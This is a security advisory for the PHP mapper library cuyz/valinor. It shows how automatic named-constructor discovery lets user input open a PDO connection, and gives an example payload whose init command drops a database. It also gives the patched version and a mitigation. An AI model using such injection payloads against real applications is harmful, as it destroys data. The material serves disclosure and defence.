final class UserDTO
{
public function __construct(
public int $id,
public string $name
) {}
public static function fromDb(
PDO $connection,
int $id
): self { /* ... code to fetch the DTO here ... */ }
}
// this could be coming from user input:
$maliciousPayload = [
'connection' => [
'dsn' => 'mysql:host=some-host;database=some-database',
'username' => 'root',
'password' => 'root',
'options' => [
// PDO::MYSQL_ATTR_INIT_COMMAND === 1002
1002 => 'DROP DATABASE all-the-moneys'
]
],
'id' => 123,
];
$treeMapper->map(
UserDTO::class,
$maliciousPayload
); // your DB is gone :D
The above payload is represented in PHP form, but may as well be input JSON, HTML or x-form-urlencoded.
Version 0.7.0 contains a patch for this issue.
Automatic named constructor resolution should be disabled - only explicitly mapped named constructors should be used/discovered.
Design issue - automatic constructor discovery
The issue arises when upgrading from
cuyz/valinor:0.3.0
to a newer system on an existing application, which broke due to the wrong constructor being picked.Still, a bigger security concern is problematic, and it is akin to rails/rails#5228.
Example exploit
Take following DTO example:
There is nothing inherently unsafe about the above
UserDTO
, but when mixed withcuyz/valinor:^0.5.0
( specifically CuyZ/Valinor@718d3c1 ), it is an explosive mix:The above payload is represented in PHP form, but may as well be input JSON, HTML or x-form-urlencoded.
Mitigation
Version 0.7.0 contains a patch for this issue.
Automatic named constructor resolution should be disabled - only explicitly mapped named constructors should be used/discovered.
References